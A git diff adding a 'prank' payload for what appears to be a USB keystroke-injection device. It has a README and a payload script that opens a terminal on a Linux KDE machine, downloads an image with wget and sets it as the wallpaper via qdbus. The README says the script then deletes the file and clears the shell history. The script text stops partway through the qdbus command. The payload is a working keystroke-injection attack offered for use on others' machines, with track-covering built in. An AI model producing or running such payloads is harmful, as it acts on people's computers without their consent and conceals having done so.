diff --git a/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md new file mode 100644 index 000000000..5cbbdcd33 --- /dev/null +++ b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/README.md @@ -0,0 +1,45 @@ +# Change Desktop Wallpaper - Linux + +A script used to prank your friends changing their desktop wallpaper. + +**Category**: Prank + +## Description + +A script used to prank your friends changing their desktop wallpaper. + +Opens a shell, download the image, define the local image path, run a command KDE BASED that will replace the desktop wallpaper with the local image path, then delete the image downloaded, clear the history and close the shell. + +## Getting Started + +### Dependencies + +* Internet Connection +* Linux KDE + +### Settings + +- Image link +- Local image path + +## Credits + +

Aleff

+
+ + + + + +
+ + + +
Github +
+ + + +
LinkedIn +
+
diff --git a/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt new file mode 100644 index 000000000..08cc0193c --- /dev/null +++ b/payloads/library/prank/ChangeDesktopWallpaper_LinuxKDE/payload.txt @@ -0,0 +1,36 @@ +########################################### +# # +# Title : Change Desktop Wallpaper # +# Author : Aleff # +# Version : 1.0 # +# Category : Prank # +# Target : Linux (KDE based) # +# # +########################################### + +ATTACKMODE HID + +# Requirements: +# - Internet Connection + +# VARIABLES +# - 1) IMAGE_LINK with your image link i.e. 'example.com/IMAGE_NAME' +IMAGE_LINK='example.com' +# - 2) example.jpg with the image path, i.e. if the path is '/home/USERNAME/example.jpg' you must write 'file:///home/USERNAME/example.jpg' +IMAGE_PATH='file:///home/USERNAME/example.jpg' + +QUACK DELAY 1000 +QUACK CTRL-ALT t +QUACK DELAY 2000 +QUACK STRING wget $IMAGE_LINK +QUACK ENTER + +# It depends by the Internet Connection +QUACK DELAY 2000 + +QUACK STRING qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript \"var allDesktops = desktops();for (i=0;i